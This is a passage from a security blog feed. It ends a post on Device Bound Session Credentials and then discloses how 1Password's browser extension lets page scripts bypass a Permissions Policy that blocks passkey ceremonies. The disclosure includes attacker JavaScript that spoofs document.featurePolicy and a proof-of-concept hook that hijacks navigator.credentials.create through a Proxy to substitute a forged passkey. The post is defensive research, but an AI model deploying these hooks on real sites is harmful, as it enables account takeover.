bearer token that can be replayed from anywhere, the cookie becomes tied to the original device. Stealing it is no longer enough to take over the session.</p><p></p><h3 id="dbsc-registration">DBSC Registration</h3><p>An application that supports DBSC indicates this to the browser by returning an HTTP response header:</p><p><code>Secure-Session-Registration: (ES256); path=&quot;/dbsc/register&quot;; challenge=&quot;abc123&quot;</code></p><p></p><p>If the browser supports DBSC, it now knows where it can register the session and enable protection. To do that, the browser will generate a new key pair and sign the challenge with the private key. The public key and signed challenge are then returned to the application, which will verify the signature. If the signature validates, the application can store the public key against the session and issue a new short-lived cookie. Subsequent requests will now be required to include this short-lived cookie, which should be valid for a very short period of time, perhaps 3-5 minutes at most. Here&apos;s a diagram to give a nice overview of the DBSC Registration process.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc-registration.png" class="kg-image" alt="Device Bound Session Credentials: Making Stolen Cookies Useless" loading="lazy" width="1055" height="1491" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/dbsc-registration.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/dbsc-registration.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc-registration.png 1055w" sizes="(min-width: 720px) 720px"></figure><p></p><p>As the DBSC cookie is only valid for a very short period, it is of course going to need to be renewed quite regularly, but we don&apos;t want that process to have a negative impact on the responsiveness of the site. To make sure that doesn&apos;t happen, the browser will proactively renew the DBSC cookie before expiry, in the background, as required. In step 4 above, when the DBSC registration was confirmed, the application will return a JSON payload similar to this:</p><pre><code class="language-http">HTTP/1.1 200 OK
    Content-Type: application/json
    Sec-Secure-Session-Id: 9c2b7f3e1a
    Set-Cookie: dbsc=5e0a91c4d7; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=300</code></pre><pre><code class="language-json">{
      &quot;session_identifier&quot;: &quot;9c2b7f3e1a&quot;,
      &quot;refresh_url&quot;: &quot;/dbsc/refresh&quot;,
      &quot;scope&quot;: {
        &quot;origin&quot;: &quot;https://report-uri.com&quot;,
        &quot;include_site&quot;: false
      },
      &quot;credentials&quot;: [
        {
          &quot;type&quot;: &quot;cookie&quot;,
          &quot;name&quot;: &quot;dbsc&quot;,
          &quot;attributes&quot;: &quot;Path=/; Secure; HttpOnly; SameSite=Lax&quot;
        }
      ]
    }</code></pre><p></p><p>The browser has now set the DBSC cookie on the device and it has the information on where to refresh the cookie, and how often it needs to do it.</p><p></p><h3 id="dbsc-refresh">DBSC Refresh</h3><p>The refresh process for DBSC is also really simple, and there can be a two-step process or a one-step process, depending on the circumstances. I will go through the two-step process and cover everything, but most of the time you&apos;re only ever going to see the one-step process.</p><p>There are two circumstances where the browser is going to refresh the DBSC cookie:</p><ol><li>You&apos;re actively browsing a site and the DBSC cookie is approaching expiration. The browser will proactively and transparently refresh the DBSC cookie in the background, with no interruption to your browsing. </li><li>You navigate to a site where you&apos;re still logged in but the DBSC cookie has since expired, or perhaps you bring an old/dormant tab back to focus where the DBSC cookie has expired. The browser will first refresh the DBSC cookie and then conduct the navigation/reload.</li></ol><p></p><p>To start the refresh process, the browser will send a request to the refresh endpoint advertised when DBSC was registered above. Step 1:</p><pre><code class="language-http">POST /dbsc/refresh HTTP/1.1
    Host: report-uri.com
    Sec-Secure-Session-Id: 9c2b7f3e1a
    Content-Length: 0</code></pre><p></p><p>The application will then respond and issue the challenge to the browser:</p><pre><code class="language-http">HTTP/1.1 403 Forbidden
    Secure-Session-Challenge: &quot;def456&quot;; id=&quot;9c2b7f3e1a&quot;
    Sec-Secure-Session-Id: 9c2b7f3e1a
    Content-Length: 0</code></pre><p></p><p>Now the browser has the challenge we can move on to Step 2. The browser will prove possession of the private key by signing the challenge and returning it to the application.</p><pre><code class="language-http">POST /dbsc/refresh HTTP/1.1
    Host: report-uri.com
    Sec-Secure-Session-Id: 9c2b7f3e1a
    Content-Type: application/jwt
    Content-Length: 1337
    
    eyJhbGciOiJFUzI1NiIsInR5cCI6Imp3dCJ9.eyJhdWQiOiJodHRwczovL3JlcG9ydC11cmku
    Y29tL2Ric2MvcmVmcmVzaCIsImp0aSI6ImtRMnZOOWFaN3RSNHhXMXBMNnlKM21FOHNCNWRI
    Y1VmIiwiaWF0IjoxNzE2MjMwNDAwLCJzdWIiOiI3ZjNjMWE5MGIyNGU0ZDhlOWMxYThiN2Yz
    YzFhOTBiMiJ9.MEUCIQDx7w...truncated</code></pre><p></p><p>The application can now verify that signature using the public key stored against the session and if it validates, the browser has proven possession of the private key, so we can issue a new DBSC cookie.</p><pre><code class="language-http">HTTP/1.1 200 OK
    Set-Cookie: dbsc=R8wF2nQ6yV; Max-Age=300; Path=/; Secure; HttpOnly; SameSite=Lax
    Secure-Session-Challenge: &quot;ghi789&quot;; id=&quot;9c2b7f3e1a&quot;
    Sec-Secure-Session-Id: 9c2b7f3e1a
    Content-Type: application/json
    Content-Length: 312</code></pre><pre><code class="language-json">{
      &quot;session_identifier&quot;: &quot;9c2b7f3e1a&quot;,
      &quot;refresh_url&quot;: &quot;/dbsc/refresh&quot;,
      &quot;scope&quot;: { 
        &quot;origin&quot;: &quot;https://report-uri.com&quot;,
        &quot;include_site&quot;: false,
        &quot;scope_specification&quot;: [] 
      },
      &quot;credentials&quot;: [
        { 
          &quot;type&quot;: &quot;cookie&quot;,
          &quot;name&quot;: &quot;dbsc&quot;,
          &quot;attributes&quot;: &quot;Path=/; Secure; HttpOnly; SameSite=Lax&quot;
        }
      ]
    }</code></pre><p></p><p>The browser now has a new DBSC cookie that it can use until it needs refreshing, at which point, the process will repeat. Here&apos;s a diagram to give an overview of the full two-step refresh process.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc-refresh.png" class="kg-image" alt="Device Bound Session Credentials: Making Stolen Cookies Useless" loading="lazy" width="1055" height="1491" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/dbsc-refresh.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/dbsc-refresh.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc-refresh.png 1055w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="optimising-for-one-step-refresh-rather-than-two-step">Optimising for one-step refresh rather than two-step</h3><p>The difference between a two-step refresh process and a one-step refresh process is whether or not the browser already has a challenge it can sign and return to the server to refresh the DBSC cookie. The challenge is communicated to the browser in the <code>Secure-Session-Challenge</code> HTTP response header. If we look at the two roundtrips to the refresh endpoint above, the browser sent a empty POST in the first one, indicating it has no challenge. The application responds with a 403 and</p><pre><code class="language-http">Secure-Session-Challenge: &quot;def456&quot;; id=&quot;9c2b7f3e1a&quot;
    </code></pre><p></p><p>The browser then signed this challenge and returned it to the refresh endpoint. The application responded with a 200 and the new DBSC cookie, but also the <em>next</em> challenge.</p><pre><code class="language-http">Secure-Session-Challenge: &quot;ghi789&quot;; id=&quot;9c2b7f3e1a&quot;</code></pre><p></p><p>This means that the next refresh can now become a one-step refresh as the first roundtrip to fetch the challenge can be completely skipped, the browser already has it!</p><p>We now know the only scenario where you&apos;re going to see a two-step refresh is if the browser doesn&apos;t have the challenge. The two most likely causes for this are:</p><ol><li>The first refresh after registration for an active session.</li><li>A delayed refresh after the DBSC cookie and challenge have expired.</li></ol><p></p><p>The first of these seems odd at a glance. The browser has just registered for DBSC and got the first DBSC cookie, how can it possibly not have the next challenge? The reason is that the application can&apos;t send the next challenge on the response that creates the DBSC session on the browser. As a DBSC session hasn&apos;t been created on the browser yet, there is no session to store the challenge against. The challenge has to be sent <em>after</em> registration. To solve this, the application can pre-emptively send the next challenge on any response to the browser after registration has completed, it doesn&apos;t have to be a response to a DBSC-based request. You can send it the next time the browser loads a page, for example:</p><pre><code class="language-http">GET /account/home HTTP/1.1</code></pre><pre><code class="language-http">HTTP/1.1 200 OK
    Content-Type: text/html
    Secure-Session-Challenge: &quot;ghi789&quot;; id=&quot;9c2b7f3e1a&quot;
    
    &lt;html&gt;
    ...
    &lt;/html&gt;
    </code></pre><p></p><p>This is what Report URI currently does in production. After DBSC has been successfully registered, the next navigation will trigger the challenge to be sent to the browser. Of course, the other option is that the application doesn&apos;t have to worry about this and it can just allow that first refresh after registration to be a two-step process. It&apos;s happening asynchronously in the background, so it&apos;s not a huge loss. </p><p>The second scenario that you&apos;re always going to see a two-step refresh process is if you&apos;ve had a tab in the background for a while and both the DBSC cookie and the challenge have expired. There&apos;s no way around this one and a two-step process here is expected to seed the new refresh cycle, which will be one-step from then onwards. </p><p></p><h4 id="privacy-concerns">Privacy Concerns</h4><p>Being able to bind a unique and reliable identifier to a device is an incredibly powerful security mechanism, but it could also provide the ability to be a dangerous tracking mechanism too. The <a href="https://www.w3.org/TR/dbsc/?ref=scotthelme.ghost.io#privacy-considerations" rel="noreferrer">spec</a> immediately set out to address potential privacy concerns and during our implementation, testing and usage of DBSC, I&apos;ve not yet found anything that would be a concern from a privacy standpoint. The biggest solution to head off a problem is that the key pair used for DBSC is not persistent, each new DBSC session gets a new key pair. This means you can&apos;t even use DBSC to track a physical device across different sessions on the same website, let alone across different sites. There are also additional privacy considerations:</p><ul><li>Lifetime of a session/key material: This should provide no additional client data storage (i.e., a pseudo-cookie). As such, we require that browsers MUST clear sessions and keys when clearing other site data (like cookies).</li><li>Implementing this API should not meaningfully increase the entropy of heuristic device fingerprinting signals. In particular, DBSC should not leak any stable device identifiers.</li><li>As this API MAY allow background &quot;pings&quot; for performance, this must not enable long-term tracking of a user when they have navigated away from the connected site.</li><li>Each session has a separate new key created, and it should not be possible to detect that different sessions are from the same device.</li></ul><p></p><h3 id="client-support">Client Support</h3><p>As it stands right now, we have support for DBSC in Chrome on Windows (<a href="https://developer.chrome.com/blog/dbsc-windows-announcement)?ref=scotthelme.ghost.io" rel="noreferrer">announcement</a>), and it looks like we could get it soon on <a href="https://chromestatus.com/feature/5140168270413824?ref=scotthelme.ghost.io" rel="noreferrer">macOS too</a>, I&apos;d guess at some point in 2026. Microsoft have also done an origin trial in Edge so there are some good indications coming from them too, they&apos;ve merged their BPOP work in to DBSC. We&apos;re still waiting on a recent position from Mozilla, their last statements were made back in <a href="https://github.com/mozilla/standards-positions/issues/912?ref=scotthelme.ghost.io" rel="noreferrer">2023</a>. </p><p>The good news is that DBSC will gracefully fall back and have no impact on clients that don&apos;t support it, so we can deploy it now and protect a subset of our users that will only grow over time.</p><p></p><h3 id="sources">Sources</h3><p><a href="https://developer.chrome.com/docs/web-platform/device-bound-session-credentials?ref=scotthelme.ghost.io" rel="noreferrer">Device Bound Session Credentials (DBSC) | Chrome for Developers</a><br><a href="https://developer.chrome.com/blog/dbsc-windows-announcement?ref=scotthelme.ghost.io" rel="noreferrer">Device Bound Session Credentials now available on Windows | Chrome for Developers</a><br><a href="https://developer.chrome.com/blog/dbsc-origin-trial?ref=scotthelme.ghost.io" rel="noreferrer">Origin trial: Device Bound Session Credentials in Chrome | Chrome for Developers</a><br><a href="https://www.w3.org/TR/dbsc/?ref=scotthelme.ghost.io" rel="noreferrer">Device Bound Session Credentials (W3C draft spec)</a><br><a href="https://github.com/w3c/webappsec-dbsc?ref=scotthelme.ghost.io" rel="noreferrer">w3c/webappsec-dbsc spec repo</a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Passkeys, Permissions Policy and Bug Hunting in 1Password's WebAuthn Wrapper]]></title><description><![CDATA[<p>Passkeys are the best thing to happen to web authentication in years, but a passkey ceremony is only as secure as the stack enforcing it. The browser, the relying party, the authenticator, and any extension sitting between them all need to honour the same rules.</p><p>While investigating WebAuthn behaviour, I</p>]]></description><link>https://scotthelme.ghost.io/passkeys-permissions-policy-and-bug-hunting-in-1passwords-webauthn-wrapper/</link><guid isPermaLink="false">69fef61c9c3a0c0001b5ea06</guid><category><![CDATA[Passkeys]]></category><category><![CDATA[Permissions Policy]]></category><category><![CDATA[Content Security Policy]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Thu, 21 May 2026 14:40:02 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-pp-1pass.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-pp-1pass.png" alt="Passkeys, Permissions Policy and Bug Hunting in 1Password&apos;s WebAuthn Wrapper"><p>Passkeys are the best thing to happen to web authentication in years, but a passkey ceremony is only as secure as the stack enforcing it. The browser, the relying party, the authenticator, and any extension sitting between them all need to honour the same rules.</p><p>While investigating WebAuthn behaviour, I found that 1Password&#x2019;s browser extension could bypass one of those rules. A page could disable passkey creation and authentication with Permissions Policy, the browser would correctly block the native WebAuthn API, but 1Password&#x2019;s wrapper could still broker a working passkey ceremony.</p><p>This post walks through what I found, what a fix looks like, and why Content Security Policy and Permissions Policy remain useful defence-in-depth mechanisms when JavaScript goes rogue.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-4.png" class="kg-image" alt="Passkeys, Permissions Policy and Bug Hunting in 1Password&apos;s WebAuthn Wrapper" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-4.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="enter-the-password-manager">Enter the password manager</h3><p>Password managers that support passkeys often need to act as an authenticator, so they wrap <code>navigator.credentials.create</code> and <code>navigator.credentials.get</code> on the page. This is fine if the wrapper preserves every guarantee the native API gave you, and 1Password&apos;s browser extension implements its passkey support by sitting in front of the browser&apos;s native WebAuthn API.</p><p>When the 1Password content script loads, it replaces <code>navigator.credentials.create</code> and <code>navigator.credentials.get</code>, plus the three <code>PublicKeyCredential.*</code> capability-probe methods, with its own functions, so that when a site calls into WebAuthn, 1Password can offer to save or fill a passkey from the vault instead of &#x2014; or in addition to &#x2014; the platform authenticator.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/1password-logo-dark.svg" class="kg-image" alt="Passkeys, Permissions Policy and Bug Hunting in 1Password&apos;s WebAuthn Wrapper" loading="lazy" width="136" height="26"></figure><p></p><p>In the version I originally reported against (8.12.12.44), that replacement was done the simplest possible way: direct property assignment. The installer function just wrote the wrapper onto the live <code>navigator.credentials</code> object, and a second function re-applied it on a 100ms timer so that if anything clobbered it, 1Password would quietly put it back:</p><pre><code class="language-js">var E = () =&gt; {
        window.navigator.credentials.create = B;   // B = the create wrapper
        window.navigator.credentials.get = G;      // G = the get wrapper
        window.PublicKeyCredential.isConditionalMediationAvailable = J;
        window.PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable = j;
        window.PublicKeyCredential.getClientCapabilities = V;
    };
    function L() {
        window.navigator.credentials &amp;&amp; (p(), E(), setInterval($, 100));
    }</code></pre><p></p><p>The wrapper these functions installed (<code>B</code> for create) was the minified one-liner that became the centrepiece of my disclosure. It checks <code>publicKey.hints</code>, then routes either to 1Password&apos;s own implementation <code>W(e)</code> or to the saved native call <code>u.credentials.create(e)</code>:</p><pre><code class="language-js">async function B(e) {
        return await p(e?.publicKey?.hints) ? W(e) : u.credentials.create(e);
    }</code></pre><p></p><p>Two properties of this design matter for an attack. First, the wrapper never consults the document&apos;s Permissions-Policy, so a page that sends <code>Permissions-Policy: publickey-credentials-create=()</code>, which makes the native API reject, still gets a fully functional 1Password ceremony, because the extension&apos;s code runs in front of the native enforcement and simply doesn&apos;t replicate it. Second, the underlying main-world &#x21C4; content-script message bus that the wrapper uses to talk to the rest of the extension has no per-page authentication: its <code>validateMessage</code> routine only checks that structural fields are present and well-typed:</p><pre><code class="language-js">return h(n.msgId) ? h(n.source) ? h(n.name)
        ? (/* type must be one of the op-window-* values */) ? !0 : !1
        : !1 : !1 : !1;</code></pre><p></p><p>No nonce, no shared secret, and no signed envelope. And because <code>navigator.credentials.create</code> was a plain writable data property, page JavaScript could overwrite it outright. That is exactly what a supply-chain or stored-XSS payload can do: replace the function, let the user complete a genuine biometric prompt, then substitute an attacker-generated keypair before the credential reaches the server. The website gets the attacker&apos;s passkey, and 1Password stores a different one. </p><p></p><p>1Password closed my issues as Informative and their reasoning makes a lot of sense. Everything I&apos;d shown requires an attacker to have JavaScript executing in the RP&apos;s main world, with an XSS vulnerability or JavaScript supply-chain compromise being the most likely candidates. </p><ol><li>I covered the account-takeover vector in my previous post <a href="https://scotthelme.co.uk/xss-is-deadly-for-passkeys-the-hidden-risk-of-attestation-none?ref=scotthelme.ghost.io" rel="noreferrer">XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None</a>, and it could be carried out by any attacker with XSS on an RP that accepts <code>attestation: &quot;none&quot;</code>. It&apos;s fair to state that this is not a 1Password vulnerability.</li><li>Establishing a secret between an isolated-world content script and a main-world stub, through a channel co-resident main-world JS provably cannot reach, is a genuinely hard problem and drawing a threat boundary here is also fair to do.</li><li>I agree with drawing a threat boundary around generic XSS-driven account takeover, but I still think the Permissions Policy bypass is different. The site explicitly removed WebAuthn capability from the page, the browser honoured that decision, and the extension handed that capability back.</li></ol><p></p><h3 id="fixing-the-permissions-policy-bypass">Fixing the Permissions Policy Bypass</h3><p>Sites that load third-party code like analytics, tag managers, chat widgets, CDN dependencies and more, can send the following header.</p><p><code>Permissions-Policy: publickey-credentials-create=(), publickey-credentials-get=()</code></p><p></p><p>This will deliberately strip WebAuthn capabilities from those pages, and those capabilities can then be enabled only on pages that the site expects to use them, like their hardened <code>/login</code> or <code>/account/security</code> endpoints. It&apos;s a browser-enforced control that the call rejects with <code>NotAllowedError</code> before any UI appears. The 1Password wrapper silently bypasses this. Its <code>navigator.credentials.create</code> and <code>navigator.credentials.get</code> wrappers run in the page&apos;s main world and never check the document&apos;s Permissions-Policy, so the capability the website deliberately withdrew is handed straight back, <em>but only when the 1Password extension is installed</em>. The site did everything right, the browser enforced it correctly, and a trusted extension, not the attacker, reopened the door for the compromised script to drive a passkey ceremony the page expressly forbade.</p><p>To solve this issue, my first instinct was to bolt the check onto the wrapper, which is exactly what I proposed in my report, but that idea doesn&apos;t stand up to much scrutiny.</p><pre><code class="language-js">async function B(e) {
        const pp = document.permissionsPolicy || document.featurePolicy;
        if (pp &amp;&amp; !pp.allowsFeature(&apos;publickey-credentials-create&apos;)) {
            throw new DOMException(
                &apos;The operation is not allowed by the document Permissions Policy.&apos;,
                &apos;NotAllowedError&apos;
            );
        }
        return await p(e?.publicKey?.hints) ? W(e) : u.credentials.create(e);
    }</code></pre><p></p><p>Against an unsophisticated payload this could well work, but ultimately it&apos;s a security decision being made in the wrong place. 1Password&apos;s <code>B</code>/<code>W</code> wrappers run in the page&apos;s main world, which is the entire reason the page can see a replaced <code>navigator.credentials.create</code>, which means the value the guard reads is attacker-reachable:</p><pre><code class="language-js">// attacker, page main world
    Object.defineProperty(document, &apos;featurePolicy&apos;, {
        get: () =&gt; ({ allowsFeature: () =&gt; true })
    });</code></pre><p></p><p>Now <code>pp.allowsFeature(...)</code> returns <code>true</code>, the guard falls through, and the ceremony proceeds on a page whose real policy forbids it. A check is only as trustworthy as the context it executes in, and the main world is, by construction, the context the attacker controls. This is the same reason a per-page bridge token stashed in main-world JS doesn&apos;t hold, and it&apos;s why 1Password&apos;s &quot;your mitigation lives with the attacker&quot; was a fair objection to my suggestion. </p><p>The fix is to move the decision out of the main world and into the extension&apos;s isolated world, the content script. A content script shares the page&apos;s DOM but has a separate JavaScript heap that page script cannot read or patch, and its <code>document.featurePolicy</code> resolves to the genuine, browser-computed policy for that frame, including the <code>=()</code>, <code>=(self)</code>, and cross-origin-iframe cases. Page JS cannot make the isolated world&apos;s view lie. So the gate belongs on the bridge handler that brokers the ceremony, before anything is forwarded to the background or native helper:</p><pre><code class="language-js">const PP_FEATURE = {
        &apos;create-credential&apos;: &apos;publickey-credentials-create&apos;,
        &apos;get-credential&apos;:    &apos;publickey-credentials-get&apos;,
    };
    
    function permissionsPolicyAllows(routeName) {
        const feature = PP_FEATURE[routeName];
        if (!feature) return true; // not a WebAuthn route
        const pp = document.permissionsPolicy || document.featurePolicy;
        // No policy object &#x2192; treat as allowed (legacy/unsupported); a present
        // policy is authoritative and cannot be patched from the main world.
        return !pp || pp.allowsFeature(feature);
    }
    
    // Wherever the content script receives a brokered WebAuthn request from the
    // bridge, refuse it here &#x2014; fail closed &#x2014; before any message reaches the
    // background service worker or the native app.
    function handleBridgeRequest(msg) {
        if (!permissionsPolicyAllows(msg.name)) {
            return respond(msg, {
                type: &apos;create-credential-error&apos;,
                data: { reason: &apos;permissions-policy-denied&apos; },
            });
        }
        return forwardToBackground(msg);
    }</code></pre><p></p><p>The extension can read the true Permissions Policy because the isolated world observes the same page the attacker is in but cannot be entered or tampered with from the page&apos;s main world; the native ceremony is brokered further still, through the background service worker and the native app over native messaging, none of which page script can reach. Enforced here and failing closed, every route from my reports is closed at once: calling the native API directly still hits the browser&apos;s own rejection; spoofing <code>document.featurePolicy</code> only fools the main world, not the isolated-world gate; and forging bridge messages to disable interception just falls through to the native API, which also rejects. Critically, this is the same architectural move required to authenticate the bridge, stop trusting the main world for security decisions and make the content script the authority.</p><p>To be crystal clear: this control doesn&apos;t stop a compromised script from registering a passkey directly with an RP that accepts <code>attestation: &quot;none&quot;</code>, nothing on the client can do that (see my <a href="https://scotthelme.co.uk/xss-is-deadly-for-passkeys-the-hidden-risk-of-attestation-none/?ref=scotthelme.ghost.io" rel="noreferrer">previous blog post</a>). An attacker with page script can always synthesise a <code>fmt:&quot;none&quot;</code> credential in JavaScript and POST it straight to the RP&apos;s enrolment endpoint. What <code>publickey-credentials-create=()</code> removes is the page&apos;s ability to invoke a genuine <code>navigator.credentials.create()</code> ceremony, a real prompt, a real authenticator, a real attestation, so the only thing it can still produce is an unattested forgery the RP  is free to reject. 1Password&apos;s extension bypass hands back to the malicious script exactly the legitimate-looking ceremony the policy was meant to deny.</p><p>The same distinction matters for login, not just registration. The worse problem is an escalation wherever the script does not already have the user&apos;s authenticated session for that origin: any logged-out page, a pre-auth surface, or the kind of third-party-heavy page a site deliberately locks down with <code>publickey-credentials-get=()</code> precisely because it loads code it doesn&apos;t fully trust. A compromised analytics or tag-manager script on such a page cannot ride a session that does not exist, and the platform guarantee is that it cannot invoke a credential ceremony either. That guarantee is the entire point of the policy. 1Password&apos;s bypass removes it, handing that malicious script a genuine, user-approvable login ceremony whose assertion it can rely straight back to the RP. The only case where this doesn&apos;t matter is a script already running inside the authenticated app, where there&apos;s a live session to abuse regardless &#x2014; and that is not the scenario this policy exists to defend. </p><p></p><h3 id="an-extension-update-shortly-after-my-report">An Extension Update Shortly After My Report</h3><p>Shortly after my report, 1Password released an extension update (8.12.20.10). After installing the update, I noticed that one of the PoCs I&apos;d created had stopped working. They seemed to have changed something, so I dug in.</p><p>After diffing the two builds of the extension, the vast majority of the changes were cosmetic, but a change to <code>webauthn-listeners.js</code> caught my eye. The change was not in what the 1Password wrappers did, but in how they were installed. The plain assignment and the <code>setInterval</code> polling loop were gone, and in their place, each method is defined as a non-configurable accessor property whose getter always returns 1Password&apos;s wrapper and whose setter is a no-op that merely logs a warning:</p><pre><code class="language-js">Object.defineProperty(parentRef, methodName, {
        configurable: false,
        enumerable: true,
        get() { return newMethod; }, // always returns 1P&apos;s wrapper
        set() {
            console.warn(`Cannot overwrite ${loggableLabel} method while 1Password is enabled`);
        }
    });</code></pre><p></p><p>I jumped to the console on the PoC page and I could indeed see the new console warning:</p><pre><code>Cannot overwrite navigator.credentials.create method while 1Password is enabled</code></pre><p></p><p>The behavioural change is subtle, but important. Previously, <code>navigator.credentials.create = evil</code> worked, at least until the next polling tick re-applied 1Password&apos;s version. In the newer build the same statement neither throws nor takes effect: the assignment hits a no-op setter, is silently swallowed, and the console shows the warning above. The property is now a non-configurable accessor, so page script can no longer replace or shadow the injected WebAuthn shim.</p><p>This landed shortly after my report, so I asked 1Password directly whether the two were connected. They said they were not: the change came from a separate, pre-existing hardening track aimed at a different surface (session-delegation <code>CustomEvents</code> in another content script), as part of rolling a non-configurable-accessor pattern broadly across the extension&apos;s main-world stubs as defence-in-depth, the WebAuthn wrapper being one of several, in the same build. Internal motivation isn&apos;t something I can verify from outside, and timing alone doesn&apos;t establish it, so I&apos;ll happily take that at face value.</p><p>The interesting part doesn&apos;t depend on the motivation, though. Whichever track it came from, the extension is now applying tamper-resistance to precisely the surface in question; page-side replacement of the WebAuthn API by attacker-controlled JavaScript in the RP&apos;s main world. Something that 1Password&apos;s own threat model treats as out of scope. They are hardening, as routine hygiene, a path they simultaneously decline to treat as a vulnerability. That tension is the point, and it stands whether or not my report had anything to do with the change.</p><p>It&apos;s also worth being precise about what this change is and isn&apos;t. Making the accessor non-configurable protects the integrity of the wrapper so page script can&apos;t clobber it. It does nothing about whether the wrapper, once invoked, honours Permissions Policy. Those are independent: a tamper-proof shim that still ignores <code>publickey-credentials-get=()</code> / <code>publickey-credentials-create=()</code> is exactly as policy-blind as it was before. This hardening does not touch the Permissions Policy override described earlier, and 1Password&apos;s response commits to no fix for that, so it remains.</p><p></p><h3 id="updating-the-poc-to-work-again">Updating the PoC to Work Again</h3><p>Our &quot;Gesture-Preserving Forgery&quot; demo (<a href="https://report-uri-demo.com/passkeys/2/?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys Demo 2</a>) ships an attacker payload that hooks <code>navigator.credentials.create</code>, lets the user complete a real ceremony, then swaps in a JavaScript-generated keypair before the page POSTs the credential to <code>/register/finish</code>. The password manager stores a passkey, but it&apos;s the wrong one. The passkey registered with the service was one controlled by the attacker.</p><p>The malicious payload on that demo page installed its hook the classic way:</p><pre><code class="language-js">navigator.credentials.create = async function (opts) { /* &#x2026; forge &#x2026; */ };</code></pre><p></p><p>On the new version of the extension, that&apos;s exactly what the newly introduced setter swallows. The malicious hook is never installed, the console shows me the new warning, and the demo no longer works. The fix only took a little wrangling after I noticed that the new lock protects the leaf <code>get</code>/<code>create</code> properties and not the path to get there, <code>navigator.credentials</code> itself. The first attempt has been kept as direct assignment to <code>create</code>, but if that doesn&apos;t take, we fall back to replacing <code>navigator.credentials</code> with a <code>Proxy</code> and returning our own hook for <code>create</code> whilst transparently passing everything else through. </p><pre><code class="language-js">let installed = false;
    try {
        navigator.credentials.create = hijackCreate;
        installed = navigator.credentials.create === hijackCreate;
    } catch (e) { /* non-configurable property with a throwing setter */ }
    
    if (!installed) {
        // 1Password locked the `create` property &#x2014; but not the container.
        const fakeContainer = new Proxy(realContainer, {
            get(target, prop) {
                if (prop === &apos;create&apos;) return hijackCreate;
                const value = Reflect.get(target, prop, target);
                return typeof value === &apos;function&apos; ? value.bind(target) : value;
            },
        });
        const shadow = { configurable: true, enumerable: true, get() { return fakeContainer; } };
        try {
            Object.defineProperty(Navigator.prototype, &apos;credentials&apos;, shadow);
            installed = navigator.credentials === fakeContainer;
        } catch (e) { /* try the instance next */ }
        if (!installed) {
            try {
                Object.defineProperty(navigator, &apos;credentials&apos;, shadow);
                installed = navigator.credentials === fakeContainer;
            } catch (e) { /* give up */ }
        }
    }</code></pre><p></p><p>1Password&apos;s patch stops the property swap but not the underlying forgery, because a non-configurable accessor on <code>navigator.credentials.create</code> only protects that one leaf, leaving the path to it (<code>navigator.credentials</code>, <code>Navigator.prototype.credentials</code>,<code> window.PublicKeyCredential</code>) fully attacker-controllable. For now, that brings <a href="https://report-uri-demo.com/passkeys/2/?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys Demo 2</a> back to life, and I&apos;d be interested to hear about the behaviour you see on this page in the presence of other browser extensions or other software you might have installed that could interact with the WebAuthn process. Drop your comments down below!</p><p></p><h3 id="permissions-policy-and-content-security-policy">Permissions Policy and Content Security Policy</h3><p><a href="https://report-uri.com/products/permissions_policy?ref=scotthelme.ghost.io" rel="noreferrer">Permissions Policy</a> and <a href="https://report-uri.com/products/content_security_policy?ref=scotthelme.ghost.io" rel="noreferrer">Content Security Policy</a> are both defence-in-depth security measures, you get to declare what a page is allowed to do, which capabilities exist, which origins may run script, and the browser enforces it before anything else happens. </p><p>Crucially, both of these headers can also send telemetry when something happens that isn&apos;t supposed to happen. Report URI collects those telemetry events at scale and turns them into something you can act on. The third-party script that suddenly tried to reach a capability it shouldn&apos;t, the CDN dependency that started pulling resources from a new origin, the moment your own policy began doing real work. That visibility is the whole point.</p><p>The ultimate solution to the problems raised in this post is &quot;duh, don&apos;t get XSS in the first place&quot;, but I bet that&apos;s already everyone&apos;s goal. Despite that, XSS was the Top Threat of <a href="https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2024-by-mitre-and-cisa/?ref=scotthelme.ghost.io" rel="noreferrer">2024</a>, <a href="https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2025-by-mitre-and-cisa/?ref=scotthelme.ghost.io" rel="noreferrer">2025</a>, and it&apos;s 